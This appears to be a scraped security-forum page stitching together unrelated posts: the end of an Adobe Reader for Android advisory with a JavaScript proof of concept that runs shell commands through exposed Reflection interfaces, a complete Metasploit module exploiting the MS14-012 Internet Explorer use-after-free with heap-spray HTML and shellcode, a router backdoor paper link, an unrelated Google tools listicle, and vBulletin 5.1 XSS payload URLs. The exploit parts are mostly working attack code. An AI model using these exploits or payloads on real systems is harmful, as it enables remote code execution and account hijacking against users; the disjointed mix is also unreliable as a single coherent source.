PDF file containing Javascript that runs when the target user views (or interacts with) this PDF file. Using any of the Javascript objects listed above provides the attacker access to the public Reflection APIs inherited from Object. These APIs can be abused to run arbitrary Java code. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ The following proof of concept [5] will create a text file in the app sandbox. function execute(bridge, cmd) { return bridge.getClass().forName('java.lang.Runtime') .getMethod('getRuntime',null).invoke(null,null).exec(cmd); } if(window._app) { try { var path = '/data/data/com.adobe.reader/mobilereader.poc.txt'; execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]); window._app.alert(path + ' created', 3); } catch(e) { window._app.alert(e, 0); } } ------------------------------------------------------------------------ References ------------------------------------------------------------------------ [1] [url]http://www.securify.nl/advisory/SFY20140401/adobe_reader_for_android_exposes_insecure_javascript_interfaces.html[/url] [2] [url]https://play.google.com/store/apps/details?id=com.adobe.reader[/url] [3] [url]http://developer.android.com/reference/android/webkit/JavascriptInterface.html[/url] [4] [url]http://www.adobe.com/devnet-docs/acrobatetk/tools/Mobile/js.html#supported-javascript-apis[/url] [5] [url]http://www.securify.nl/advisory/SFY20140401/mobilereader.poc.pdf[/url] Sursa: http://www.exploit-db.com/exploits/32884/

[h=1]MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free[/h] ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", 'Description' => %q{ This module exploits an use after free condition on Internet Explorer as used in the wild on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to bypass ASLR and finally DEP. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and Exploit in the wild 'Jean-Jamil Khalife', # Exploit 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2014-0322' ], [ 'MSB', 'MS14-012' ], [ 'BID', '65551' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'], [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'Space' => 960, 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, 'BrowserRequirements' => { :source => /script|headers/i, :os_name => Msf::OperatingSystems::WINDOWS, :os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN, :ua_name => Msf::HttpClients::IE, :ua_ver => '10.0', :mshtml_build => lambda { |ver| ver.to_i < 16843 }, :flash => /^12\./ }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false }, 'Targets' => [ [ 'Windows 7 SP1 / IE 10 / FP 12', { } ], ], 'Privileged' => false, 'DisclosureDate' => "Feb 13 2014", 'DefaultTarget' => 0)) end def stack_adjust adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end def exploit @swf = create_swf super end def on_request_uri(cli, request) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end super end def on_request_exploit(cli, request, target_info) print_status("Sending HTML...") send_exploit_html(cli, exploit_template(cli, target_info)) end def exploit_template(cli, target_info) flash_payload = "" get_payload(cli,target_info).unpack("V*").each do |i| flash_payload << "0x#{i.to_s(16)}," end flash_payload.gsub!(/,$/, "") html_template = %Q| <html> <head> </head> <body> <script> var g_arr = []; var arrLen = 0x250; function dword2data(dword) { var d = Number(dword).toString(16); while (d.length < 8) d = '0' + d; return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); } function eXpl() { var a=0; for (a=0; a < arrLen; a++) { g_arr[a] = document.createElement('div'); } var b = dword2data(0x19fffff3); while (b.length < 0x360) { if (b.length == (0x98 / 2)) { b += dword2data(0x1a000010); } else if (b.length == (0x94 / 2)) { b += dword2data(0x1a111111); } else if (b.length == (0x15c / 2)) { b += dword2data(0x42424242); } else { b += dword2data(0x19fffff3); } } var d = b.substring(0, ( 0x340 - 2 )/2); try{ this.outerHTML=this.outerHTML } catch(e){ } CollectGarbage(); for (a=0; a < arrLen; a++) { g_arr[a].title = d.substring(0, d.length); } } function trigger() { var a = document.getElementsByTagName("script"); var b = a[0]; b.onpropertychange = eXpl; var c = document.createElement('SELECT'); c = b.appendChild(c); } </script> <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10"> </embed> </body> </html> | return html_template, binding() end end Sursa: MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

How Sercomm saved my Easter! Another backdoor in my router: when Christmas is NOT enough! Released 18/04/2014 By Eloi Vanderbeken - Synacktiv Download: http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf

[h=1]14 Google Tools You Didn't Know Existed[/h] [h=2]1. Google Ngram Viewer[/h] Google's Ngram Viewer lets you search keywords in millions of books over the span of half a millennium, a useful tool for finding trends over time. For power users, the Ngram Viewer also has advanced options, such as searching for particular keywords as specific parts of speech or combining keywords. Just in case you ever wanted to see how big cocaine was in Victorian times, now you can. Screenshot courtesy of Google Ngram Viewer. [h=2]2. Google Correlate[/h] A part of Google Trends, Google Correlate allows you to look at search trends over time. For example, input "soup" and you'll see a clear increase in searches during the winter months. The more fascinating part of Google Correlate is the Search by Drawing function. Draw a fun graph and Correlate will give you search keywords that best match your graph creation. Screenshot courtesy of Google Correlate. [h=2]3. Google Trends[/h] Look at trends in hot searches with Google Trends. Browse by date, or look at top searches in different categories with the new Top Charts function. Finally, with the Explore function, input a search term and see how it trended over time and location. You can also now view popular searches in a colorful fullscreen format. Screenshot courtesy of Google Trends. [h=2]4. Google Think Insights[/h] Home to an abundance of resources, Google Think Insights is a useful tool for entrepreneurs and industry professionals. There are case studies, new findings and tips on how to grow your business, as well as showcases of exemplary projects. Finally, there are also tools for maximizing your site analytics and ad campaigns. A particularly useful collection is how to "Make Your Website Work Across Different Platforms." Screenshot courtesy of Google Think Insights. [h=2]5. Google Public Data Explorer[/h] Search through databases from around the world, including the World Bank, OECD, Eurostat and the U.S. Census Bureau. After you find what you want, filter through categories to make graphs with the axes you want. Google's Public Data Explorer then displays the data in a line graph, bar graph, scatterplot or on a map. Screenshot courtesy of Google Public Data Explorer. [h=2]6. Full Value of Mobile[/h] A useful calculator for businesses, Google's Full Value of Mobile will calculate just how much having a mobile site is worth. The tool will help you analyze how customers interact with the various aspects of your business, from mobile sites to calls to cross-device ability. Screenshot courtesy of Full Value of Mobile. [h=2]7. Get Your Business Online[/h] Get Your Business Online is Google's initiative to get more local businesses on the web, in an effort to boost the local economy as well as help small businesses grow. The initiative also encourages people to get other businesses online, with an end goal of reaching every local business in America. There are also listings for events and lessons. The free service also includes hosting for one year. Screenshot courtesy of Get Your Business Online. [h=2]8. Webmaster Tools[/h] Google's Webmaster Tools allows webmasters to monitor a site's health and traffic. Additional tools include a Structure Data Markup Helper and Google Places for Business. Video: YouTube, GoogleWebmasterHelp [h=2]9. Schemer[/h] Schemer is like a combination to-do list and social event planning app. Connect via your Google+ account, enter your preferences, and Schemer will offer some things to do around your area. A great tool for travelers who want to make the most out of a visit, as well as for locals who want to find something to do on an otherwise boring day. You can also collaborate with the friends in your Google+ Circles and see who wants to do the same things as you. Screenshot courtesy of Schemer. [h=2]10. Google Fonts[/h] Google Fonts offers open source web fonts for all to use privately or commercially. As of now, there are 629 font families available. Filter fonts by thickness, slant, width and script. Screenshot courtesy of Google Fonts. [h=2]11. Google Developers[/h] Google Developers houses a plethora of resources that developers can use, tools such as internationalizing different websites and live presentations of tutorials. Developers can also join groups in a local area for meetups and collaboration. Screenshot courtesy of Google Developers. [h=2]12. Dart[/h] Dart is a programming language developed by Google in hopes of eventually replacing JavaScript as the language of modern web apps. Dart was released in 2011 and is still in its development stages. With a goal to make coding and collaboration simpler, Dart was designed to be simple enough that even beginning developers could learn from it. Screenshot courtesy of Dart. [h=2]13. Google Keep[/h] Launched earlier this year, Google Keep app connects to your Google Drive. Sync-able across all your devices, Google Keep allows you to keep notes, voice memos, pictures and checklists in order. The easy-to-use interface is a simple app for those looking to do basic note-keeping on-the-go. Video: YouTube, GoogleMobile [h=2]14. Google Sky[/h] A part of Google Earth, Google Sky allows you to explore space and star systems. In collaboration with NASA, using images from the Hubble Telescope, Google Sky is one of three subsidiaries of Google Earth, the others being Google Mars and Google Moon. Screenshot courtesy of Google Sky. Sursa: 14 Google Tools You Didn't Know Existed

Packetstorm: vBulletin 5.1 Cross Site Scripting ? Packet Storm

Exploit Title: vBulletin 5.1 Multiple XSS vulnerabilities Authors: Romanian Security Team Website: https://rstforums.com/forum/ Date published: 19 April 2014 Software: vBulletin Version: 5.1.1 Alpha 9 [XSS] Random topic - https://website.com/[forum_path]/forum/anunturi-importante/rst-power/67030-rst-admin-restore?view=stream1337";alert(123);// [XSS] New private message - https://website.com/[forum_path]/privatemessage/new/9999"><input onfocus=alert(1) autofocus> [XSS] View PM: you must know or bruteforce private message ID (830372) - https://website.com/[forum_path]/privatemessage/view/830372?folderid=random";alert(1);// [DOM XSS] Help - https://website.com/[forum_path]/help#'"><img src=x onerror=prompt("PoC")> (c) Romanian Security Team 2014